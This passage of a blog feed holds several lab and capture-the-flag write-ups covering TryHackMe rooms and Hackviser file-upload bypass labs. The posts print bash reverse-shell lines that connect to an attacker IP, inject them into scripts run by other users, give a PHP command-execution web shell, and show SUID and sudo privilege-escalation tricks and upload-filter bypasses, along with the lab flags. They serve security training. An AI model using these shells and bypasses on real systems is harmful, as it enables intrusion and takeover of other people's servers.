            <content:encoded><![CDATA[<p>We start by scanning open ports as always, I prefer rustscan cause it’s much faster compared to nmap. We can see that ports 21 and 22 are open which are FTP and SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UoSlm5MQlIHUynlfpaeJlA.png" /><figcaption>Open Ports</figcaption></figure><p>FTP might have anonymous login as anonymous:anonymous(username:password), later on we find out it’s true.</p><p>After connecting to FTP services, it is strongly recommended to execute the “bin(binary)” and “pas(passive)” commands. Binary mode allows you to get files completely, on the other hand Passive mode draws less attention and prevents you from getting caught by firewalls mostly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ISsuKqaZ_UotnoMYn9N-wA.png" /><figcaption>FTP Login as anonymous:anonymous</figcaption></figure><p>After entering the FTP we enumerate the files and folders. We find out that there is a writable folder for everyone(drwxrwxrwx). This might be handy.</p><p>We find a README.txt file which may contain sensitive information. Download it with “get README.txt” command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*1WKH26-jGUSnpc_QaOG6Hg.png" /><figcaption>pub Directory Files</figcaption></figure><p>After we download the README.txt we read it and it tells us that the files in incoming/ folder which we mentioned is writable by anyone are processed automatically if it is in a valid format. We will try reverse shell by giving it a shot with bash first, if it fails we can try python, c, php and other etc.</p><p>I created a bash script with the“sh -i &gt;&amp; /dev/tcp/192.168.193.68/1234 0&gt;&amp;1”(Don’t forget to replace 192.168.193.68 part with your IP Address and 1234 part with your listener’s port) command in nano text editor. You can simply create it with ‘echo “sh -i &gt;&amp; /dev/tcp/192.168.193.68/1234 0&gt;&amp;1” &gt; shell.sh’ command tho. You can get detailed information about reverse shells at <a href="https://www.revshells.com/">https://www.revshells.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*N55gAlM9WnnnurNDjIx8zg.png" /><figcaption>README.txt and shell.sh</figcaption></figure><p>After creating our reverse shell script we set our listener “nc -lvnp 1234” in this case and upload our script to incoming folder in the target FTP Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*fvQ6_5AoO5S-soDQ_8TPag.png" /><figcaption>Upload shell.sh for reverse shell</figcaption></figure><p>After a little while we get our first shell. We can strengthen our shell by simply executing some commands. python3 -c “import pty;pty.spawn(‘/bin/bash’)” command helps you to upgrade your shell to a interactive TTY (pseudo-terminal) shell. “Ctrl + Z” and “stty raw -echo;fg” helps you to make your shell fully interactive, so that whenever you click Ctrl + C you wouldn’t disconnect from the shell, instead you would kill your active process. Lastly “export TERM=xterm” command lets you to clear the terminal by “clear” command and Ctrl + L whenever you like, it also lets you to use text editors like nano and vim without any problem.</p><p>After all those we are now in the server with a fully interactive TTY shell and captured the first flag.txt which is:<br>THM{5a3f1c92–7b4e-4d91–8c2a-1f6e9b2a4c11}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ecSdW4CzYHtUwjZEiWthZQ.png" /><figcaption>Shell Stabilization &amp; First Flag</figcaption></figure><p>After traversing a little we found out that we can reach to dev_user’s files and capture second flag.txt which is:<br>THM{8d2b7a41–3f9c-4e55-b1a2–6c7d9e8f0123}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*DiC4FfFOmTR92waZp455RA.png" /><figcaption>dev_user’s home folder</figcaption></figure><p>After capturing the first two flag we must try escalate our privileges. I tried linpeas.sh and checked cron jobs, vulnerable softwares, kernel versions, capabilities, super user permissioned files, SUID Bits but nothing appeared. After those we decided to use pspy64. pspy64 allows us to monitor every process and command live without even needing root priveleges(you can execute pspy64 with any user in the system).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cKn1FkBz2tumIsYV5GJkNw.png" /><figcaption>Download pspy64 to Target Machine</figcaption></figure><p>We check all of the processes and executed commands by observing the pspy64’s output(After you download pspy64, execute “chmod +x pspy64” and “./pspy64” commands accordingly after you make sure that you are in the folder pspy64 exist) and see that there is a suspicious activity for UID=1002 which is dev_user with the activity /opt/dev/backup.sh.</p><p>When we check /opt/dev/backup.sh script’s permissions we see that outsiders can’t write to the file but luckily we are(recon_user) in the same group with dev_user. It is seen that the users which are in the same group with dev_user can read, write and execute /opt/dev/backup.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxyDb-by_W_EQxUEmRPcVQ.png" /><figcaption>pspy64 Result</figcaption></figure><p>We learned that we can write on /opt/dev/backup.sh so let’s add a reverse shell code to our machine but this time targeting a different port which is 4444 this time. We can add the code part with ‘echo “sh -i &gt;&amp; /dev/tcp/192.168.193.68/4444 0&gt;&amp;1” &gt;&gt; backup.sh’ command. Then DO NOT execute the command yourself else you will get a shell as recon_user. We get shell according to the user who executed the command. After we open our listener and wait a while, we get our shell as dev_user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1tYqzt4c917QqVbqD-W8Mw.png" /><figcaption>Reverse Shell for dev_user</figcaption></figure><p>After we become dev_user we again need to escalate our priveleges and switch to another user. After we monitor pspy64 again, we see something suspicious. The command “ps/ps aux” is executed by UID=1003 which is monitor_user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OL9pMajtucyZdEdE1ehRew.png" /><figcaption>pspy64 Monitor for ps</figcaption></figure><p>After we traverse a little, we find out that there is ps file in /opt/dev/bin directory and see that we can write onto it. This time I chose 4242 as my listener port and added “sh -i &gt;&amp; /dev/tcp/192.168.193.68/4242 0&gt;&amp;1” at the end of my ps file. Afterwards open a listener and wait for ps command to be triggered by monitor_user(Again don’t trigger it yourself else you can’t get shell as monitor_user).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*WcIsTssnGmDBsZloJhZ9Tw.png" /><figcaption>Manipulating ps file and Switching to monitor_user</figcaption></figure><p>Waiting like 1–2 minutes, we get our shell as monitor_user and get our third flag.txt which is:<br>THM{c1e9a7b3–2d44–4a88–9f7e-3b6c2d5a9f77}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*8jvLyDJtYMja7dkG_UNvog.png" /><figcaption>Third Flag for monitor_user</figcaption></figure><p>We check if we have any sudo privileges for any feature or script etc. and find out that we can execute the script /usr/local/bin/deploy.sh. When we check out the content o deploy.sh we see that it executes the deploy_helper.sh script inside the /opt/app directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*fPtKfAMrA_TwwiUloYBDsw.png" /><figcaption>Sudo Permissions for monitor_user</figcaption></figure><p>When we traverse to /opt/app and examine the permissions of deploy_helper.sh we see that we can read, write and execute it however we like. This time I chose port 5000 as my listener and add “sh -i &gt;&amp; /dev/tcp/192.168.193.68/5000 0&gt;&amp;1” at the end of deploy_helper.sh script. Afterwards execute deploy.sh as opt_user with “sudo -u ops_user /usr/local/bin/deploy.sh” command after you set your listener and then get shell as ops_user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XVuOySBSgkjvhs3Mm5ZT7w.png" /><figcaption>Manipulating deploy.sh and Switching to ops_user</figcaption></figure><p>After getting shell as ops_user we can get our fourth flag.txt which is:<br>THM{f7a2c9d1–6e33–4b55–8d11–9c0a7b2e4d88}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*vK8VBINP-R4m4YgK1ICiSQ.png" /><figcaption>Fourth Flag for ops_user</figcaption></figure><p>Finally we need to become root. First of all let’s check if we have extra sudo permissions or not. We see that we can use less command in sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*ve-bAhe3IW8K-K6ojenBFQ.png" /><figcaption>sudo -l for ops_user</figcaption></figure><p>After a little research, thanks to the GTFOBins(<a href="https://gtfobins.org/gtfobins/less/#shell">https://gtfobins.org/gtfobins/less/#shell)</a> we learn that we can use less to escalate our privileges and become root. We run “sudo less /etc/hosts” command and after the /etc/hosts open prompt “!/bin/sh” and press enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Y8dUwubLCpN8BJSotT2KrQ.png" /><figcaption>Privilege Escalation by less</figcaption></figure><p>At the end we become root and capture the last flag.txt which is:<br>THM{2b8e6c4a-1d55–4f90-a3c7–5e9d1b7f6a22}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*d_izJtjKqu7VlspmHQZuPA.png" /><figcaption>Last Flag in root folder</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=832134e2690a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Cyborg — THM CTF]]></title>
            <link>https://mr-root.medium.com/cyborg-thm-ctf-writeup-b4520482eeb4?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4520482eeb4</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Fri, 14 Aug 2026 11:43:58 GMT</pubDate>
            <atom:updated>2026-10-13T10:02:18.526Z</atom:updated>
            <content:encoded><![CDATA[<p>First of all, we must scan the target IP to have idea about attack surfaces. We can directly scan the ports and versions of the open ports with a single nmap process but I will enumerate the open ports with rustscan and afterwards scan the versions of the open ports with nmap because it is way more faster than the classic single nmap scan technique.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rtkeDT1QLa7K7BeUM2_a3Q.png" /><figcaption>Rustscan Result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*qrbBf7i38ObEdggzf4xvQA.png" /><figcaption>Nmap Scan Result for Open Ports</figcaption></figure><p>By those scans we got answers for the first three questions.</p><ol><li>Scan the machine, how many ports are open? Answer: 2</li><li>What service is running on port 22? Answer: ssh</li><li>What service is running on port 80? Answer: http</li></ol><p>Now we have information about open ports, services and service versions. Normally we need to search the versions to find out if they have any known common vulnerability(CVE), but after a little research we realise that those versions are safe 😃.</p><p>Next up we have 2 choices; directly brute-force the ssh without any information(wrong choice) or gather more information about the system with the http service, we will continue with web enum as expected. I will use Gobuster for directory scan(no need for subdomain enum because it is an easy lab😜).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnjwXVil01F0FKVUJPSMIQ.png" /><figcaption>Gobuster Enum Result</figcaption></figure><p>index.html page is default apache page, so not much information there. The /admin sub-directory might be interesting and the /etc as well. When we go to the /etc sub-directory we get some spicy files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*8lwYyDldyEZ6BrI8jFhHRQ.png" /></figure><p>Not much useful info at squid.conf but seems like passwd file contains important info for us. passwd file contains “music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.” information, we have a apache md5 hash and a name called “music_archive”. Probably a hash to crack for us to reach an archive or file named “music_archive” but we will discover it deeper later on.</p><p>Let’s check the /admin sub-directory now!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oyknlo_aSkW_KvqwuIEqYQ.png" /></figure><p>After checking the page a little we find some spicy stuff again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c_nCN4-_paEO0B6is2IOEg.png" /></figure><p>Admins(Adam &amp; Josh) talked with each other about a backup archive named “music_arhive” which we discovered before. So we can assume that there is a secret backup named music_archive.</p><p>At the main admin page (/admin page), we see a button named “Archive” when we click it, we have two options, Listen and Download. Listen button doesn’t give us anything useful but by clicking the Download button, we download a tar file called “archive.tar”. After we extract it, we get some interesting files and folders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*1I6UP9qgzud-9n206DVq_Q.png" /><figcaption>Extracted archive.tar</figcaption></figure><p>After we searched a little, we get useful info in README file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*mhfrBHLOhuy9EMv9zfaAWQ.png" /></figure><p>We find out that they are using Borg Backup for their Backup Management. You need to download Borg( I downloaded it by “sudo pacman -S borg” to my arch linux system) and extract the backup by using the command below(make sure that you are in the /dev folder(before the /final_archive folder):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*uuO3nHFSZ399ZJStzPDywA.png" /></figure><p>Unfortunately archive needs a password to open but we have discovered a hash for that before in the <a href="http://10.113.178.181/etc/squid/passwd">http://10.113.178.181/etc/squid/passwd</a>, which is “$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.”</p><p>Crack it by using John The Ripper or Hashcat(I prefer John), after cracking we will get the password to extract the borg backup(I cracked it before so I will just use — show parameter to get the password we need).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yRngLWAexxY_3Ed-uAYnMA.png" /></figure><p>We got the password “squidward”, we use it to extract the archive in borg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*mSZspN0RWaKE96kEQRzS8A.png" /><figcaption>Extracted Borg Archive</figcaption></figure><p>By traversing a little we find alex’s ssh credentials. Afterwards just enter as alex via ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*aT2De2fSgJNsAai2Oh-hpg.png" /></figure><p>After entering as alex via ssh with the credentials we mentioned, we get the user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*tMdFupV6OK6ZWvFx_Ycbbg.png" /></figure><p>4) What is the user.txt flag? Answer: flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}</p><p>Now we must escalate our privileges and become root to obtain the last flag. Normally to fasten the priv esc enum stage we use linpeas.sh but just not to drown in the linpeas.sh analysis output, I just executed “sudo -l” command to see that if we have any sudo priveleged command(sudo -l command lists the sudo priveleged commands for the current user) and jackpot, we have one! We have read and execute priveleges but that doesn’t matter because alex created this file and as alex we can change it’s moderation. I added write privelege for myself and then added the command which will make us root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6IN2fbxBia6is8NxS0LlPQ.png" /></figure><p>After adding the “chmod u+s /bin/bash” command to the backup.sh and executing it via ./backup.sh after you traversed to /etc/mp3backups folder, we will see that /bin/bash will have SUID bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9l5wwpYIczzjIW_YNs_TEA.png" /><figcaption>Update the backup.sh</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*d8ItyINATBOmB1ziPS-XEg.png" /><figcaption>/bin/bash with SUID bit</figcaption></figure><p>By executing the “/bin/bash -p” command, we will get a root privileged bash session. Btw the parameter we used “-p” means “privileged”, meaning we used SUID priveleges the file got and get root priveleged session. Afterwards we can get the root flag and complete the CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*3udzQsF1rp2KUsqSPFy5NA.png" /></figure><p>5) What is the root.txt flag? Answer: flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4520482eeb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser Unrestricted File Upload Labs — File Extension Improved Filter Bypass]]></title>
            <link>https://mr-root.medium.com/hackviser-unrestricted-file-upload-labs-file-extension-improved-filter-bypass-af986279d644?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/af986279d644</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[unrestricted-file-upload]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Sat, 28 Mar 2026 06:31:37 GMT</pubDate>
            <atom:updated>2026-03-28T06:32:43.986Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧪 Hackviser — Web Application Security</h3><h3>🧩 What is Unrestricted File Upload ?</h3><p><strong>Unrestricted File Upload</strong> vulnerabilities occur from the insecure development of file upload functionalities in web applications. In modern web applications, file uploading is a crucial function that allows users to attach files or change their profile pictures. However, if this functionality is not securely developed, it can lead to serious security risks resulting in <strong>Remote Code Execution or Shell Accesses or even more serious vulnerabilities</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C14uUu3TjDxh2hid.png" /></figure><p>For file upload, the page tells us that it allows only gif, png, jpeg, and png formats. Let’s see if it’s true or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xTH-4o24w3bL41Sq.png" /></figure><p>It filters the extensions that we couldn’t upload our shell.php script from “<a href="https://github.com/flozz/p0wny-shell/blob/master/shell.php">https://github.com/flozz/p0wny-shell/blob/master/shell.php</a>”. Let’s try to manipulate it by using Burp Suite(Community Edition would be more than enough).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jIopWO0RJTCvaJc9.png" /></figure><p>By changing the POST Request’s Content-Type we can try to bypass the filter. Let’s change the “Content-Type: application/x-php” into “Content-Type: image/png” as png files do have MIME Type as image/png. After that, press Forward button to send the changed request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xTH-4o24w3bL41Sq.png" /></figure><p>Seems like it didn’t work, they made the necessary MIME Type filters. Let’s try to change it’s magic bytes so that it may accept to upload shell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wMwyKRgld3MAP1xN8Wt8Q.png" /></figure><p>We can simply add GIF8 to change it’s magic bytes to bypass the filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*1DGM0y3Q0QvE2ctyzQTxaQ.png" /></figure><p>After those changes we made, it is now considered as a GIF image data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xTH-4o24w3bL41Sq.png" /></figure><p>Didn’t work again, filters Magic Bytes as well. Let’s try a different php extension that might bypass the filter(.phar, .phtml, .php5 etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xTH-4o24w3bL41Sq.png" /></figure><p>Again didn’t work, seems like the blacklist contains all of the php-like extensions. Maybe the filter only checks the last part of the extension. Let’s create a new file called <strong>shell.php.siber</strong> that contains our shell script we used before from “<a href="https://github.com/flozz/p0wny-shell/blob/master/shell.php">https://github.com/flozz/p0wny-shell/blob/master/shell.php</a>” and try to upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KPCZRWsqA0XkSSxvL2H3Ng.png" /></figure><p>We managed to upload it! Let’s traverse our shell script’s location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*foYzZsX0r1PJo9jegU_ODw.png" /></figure><p>We see that our <strong>shell.php.siber</strong> file is considered to be readable but not executable(probably the server doesn’t recognize this file type, as we made it up to bypass the filter and considers it as a text file and only reads it), we cannot gain a shell access and execute our commands at target system. We need to change configs to execute the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KiuICebY0PawdoJeRt7t1A.png" /></figure><p>By traversing to a non-existent path we get a 404 Not Found Error, meanwhile we get the information about the web server that it is a Apache/2.4.56 Linux Debian Server.</p><p>We mentioned before that our shell script(shell.php.siber) is not executable and we must change that configuration. After a little research we find out for Apache Web Servers there is a file called <strong>.htaccess</strong> which lets you to change folder-based configurations without even need to restart the server. We will use <strong>.htaccess</strong> because it’s an Apache server, if it is a Nginx server then we would use <strong>.user.ini</strong> or for IIS-Windows Servers it would be <strong>web.config </strong>much likely.</p><p>Basically we need to set folder-based file configurations that <strong>.siber</strong> extensions can be executed and upload our <strong>.htaccess</strong> file. We can’t upload <strong>.htaccess</strong> just because it is a hidden file but we can save it as <strong>test.txt</strong> and then change it’s name with Burp Suite as<strong> .htaccess</strong>(We must upload it as <strong>.htaccess</strong> to change the configs for that folder and it’s sub folders).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JISvyS9lMUa6gm-6FXyP8w.png" /></figure><p>Let’s try to upload it by renaming it and make magic with Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pwTovz9BS_L2hCQ86XuDfg.png" /></figure><p>The file successfully uploaded as <strong>.htaccess</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cIP0izWfl09rg96Pndwc0w.png" /></figure><p>After traversing to uploads/shell.php.siber again we see that it is now executable and we can finally run commands now! Flag is basically the database password which is configured inside the config.php file. We can find it’s location by using the command “find / -name “config.php” 2&gt;/dev/null”. We use “2&gt;/dev/null” clause to not get the “Permission denied” errors(We send Standard Error (stderr) objects to void) for getting clean and short outputs.</p><p>As a result we got the flag with those processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYFZjScv3VdTgApQcKoq3Q.png" /></figure><p>Flag : T9n3j6EnMRy2gPAC</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af986279d644" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser Unrestricted File Upload Labs — File Extension Filter Bypass]]></title>
            <link>https://mr-root.medium.com/hackviser-unrestricted-file-upload-labs-file-extension-filter-bypass-c4d104b93212?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4d104b93212</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[unrestricted-file-upload]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Sat, 28 Mar 2026 05:36:16 GMT</pubDate>
            <atom:updated>2026-03-28T05:36:16.051Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧪 Hackviser — Web Application Security</h3><h3>🧩 What is Unrestricted File Upload ?</h3><p><strong>Unrestricted File Upload</strong> vulnerabilities occur from the insecure development of file upload functionalities in web applications. In modern web applications, file uploading is a crucial function that allows users to attach files or change their profile pictures. However, if this functionality is not securely developed, it can lead to serious security risks resulting in <strong>Remote Code Execution or Shell Accesses or even more serious vulnerabilities</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W2oncUNelq0neYG3.png" /></figure><p>It filters the extensions that we couldn’t upload our shell.php script from “<a href="https://github.com/flozz/p0wny-shell/blob/master/shell.php">https://github.com/flozz/p0wny-shell/blob/master/shell.php</a>”. Let’s try to manipulate it by changing it’s extension with different php likely extension (Like .phar, .phtml, .php3, .php4, .php5 etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E0O_i90CMajV8rsYMEDkew.png" /></figure><p>We uploaded our shell script! Probably they just added some extensions(like .php) to the blaclist but we managed to bypass it. Let’s traverse to uploads/shell.phar to get shell access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sXlYTt3YwBYHmC89_d6FBA.png" /></figure><p>We got shell access with our extension manipulated php shell script. Flag is basically the database password which is configured inside the config.php file. We can find it’s location by using the command “find / -name “config.php” 2&gt;/dev/null”. We use “2&gt;/dev/null” clause to not get the “Permission denied” errors(We send Standard Error (stderr) objects to void) for getting clean and short outputs.</p><p>As a result we got the flag with those processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3foVOTU3DB-nTYjB87hEHA.png" /></figure><p>Flag : Qr3eydwjjZmPpwVm</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4d104b93212" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser Unrestricted File Upload Labs — File Signature Filter Bypass]]></title>
            <link>https://mr-root.medium.com/hackviser-unrestricted-file-upload-labs-file-signature-filter-bypass-6c047b56806a?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c047b56806a</guid>
            <category><![CDATA[unrestricted-file-upload]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Thu, 26 Mar 2026 08:53:15 GMT</pubDate>
            <atom:updated>2026-03-26T08:53:15.511Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧪 Hackviser — Web Application Security</h3><h3>🧩 What is Unrestricted File Upload ?</h3><p><strong>Unrestricted File Upload</strong> vulnerabilities occur from the insecure development of file upload functionalities in web applications. In modern web applications, file uploading is a crucial function that allows users to attach files or change their profile pictures. However, if this functionality is not securely developed, it can lead to serious security risks resulting in <strong>Remote Code Execution or Shell Accesses or even more serious vulnerabilities</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UsiALFb-OFocAuM7.png" /></figure><p>For file upload, the page tells us that it allows only gif, png, jpeg, and png formats. Let’s see if it’s true or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ib497i_an2yTyhEM.png" /></figure><p>It filters the extensions that we couldn’t upload our cmd.php script which is a basic command injection script:</p><blockquote><strong><em>&lt;?php<br> echo system($_GET[“cmd”]);<br>?&gt;</em></strong></blockquote><p>Let’s try to manipulate it by using Burp Suite(Community Edition would be more than enough).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCxZg7IQmU0yy6fdG_DMfg.png" /></figure><p>By changing the POST Request’s Content-Type we can try to bypass the filter. Let’s change the “Content-Type: application/x-php” into “Content-Type: image/png” as png files do have MIME Type as image/png. After that, press Forward button to send the changed request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ib497i_an2yTyhEM.png" /></figure><p>Didn’t work, seems like that this time it filters the MIME Type as well. Let’s change the file’s magic bytes so that we may bypass the filter that way.</p><p>You can check the cmd.php file’s file type by simply prompting “file cmd.php” and you will see that it is a PHP Script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5eNTqguj-GUWmMY14rg7_g.png" /></figure><p>To manipulate the file’s magic bytes, let’s add 4 characters of AAAA at the start of our file(cmd.php) and save. After that, prompt “hexeditor cmd.php” to read &amp; write your file’s hex values. We can see that we have a 41 41 41 41 at the start of the hex file. We need to change this to manipulate the file type for bypassing the filter. After a little search we find out that magic bytes for gif format is “<a href="https://www.google.com/search?client=safari&amp;rls=en&amp;q=GIF&amp;ie=UTF-8&amp;oe=UTF-8&amp;mstk=AUtExfCUNzOOIoxh0HIDkzA54j8tqzh148tQhMQoTrkR2UwxuENCl4yu8zJ_3oGhvGyJ0K78MRflsP1erN-ZewwSJ9CapOELZgVr-5c4qQhG9qjDAw3RcArjuSNljYx1zyIA_vhUynQ7vA3rC2y8DsPpY1udHuAjs8T8It5VvMw-e23zQN4&amp;csui=3&amp;ved=2ahUKEwiD3bbWqrmTAxVpQ_EDHWzSE2YQgK4QegQIAxAB"><strong>GIF</strong></a><strong> (</strong><strong>image/gif):</strong> 47 49 46 38 (GIF8)”. Change the 41 41 41 41to 47 49 46 38and save it by pressing Ctrl + X.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRiO9QxO_qrgisD9Jcwvpg.png" /></figure><p>Check the file type again and you will see that we manipulated the file type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*TD5MBR9Z29Zx6Z_orJRAOg.png" /></figure><p>Now try to upload this version of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7ZSA_gGeyGFECmw0S9CJQ.png" /></figure><p>By changing the magic bytes of the file, we were able to manipulate it’s file type and uploaded the file without any problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CIXGQxQZonzhF087gxBBvQ.png" /></figure><p>It also told us about the file path of our script which is “uploads/cmd.php”, so enter that value to your browser for traversing to that path and then simply enter commands of “find / -name “config.php” 2&gt;/dev/null” to get the config.php file’s location. We use “2&gt;/dev/null” clause to not get the “Permission denied” errors(We send Standard Error (stderr) objects to void) for getting clean and short outputs.</p><p>After we get the location, we try to cat that file but it doesn’t work because cat command seems to be filtered. We need to use another file read/print command instead of cat(for example tac etc.).By using “tac /var/www/html/config.php” command we get the file content.</p><p>Finally we got the flag with those processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UpFGMLB2G9c5gxXpyTYMbQ.png" /></figure><p>Flag : 2xESbdzvegfahykF</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c047b56806a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser Unrestricted File Upload Labs — MIME Type Filter Bypass]]></title>
            <link>https://mr-root.medium.com/hackviser-unrestricted-file-upload-labs-mime-type-filter-bypass-f72adb7c4731?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f72adb7c4731</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[unrestricted-file-upload]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 07:23:14 GMT</pubDate>
            <atom:updated>2026-03-25T07:23:14.308Z</atom:updated>
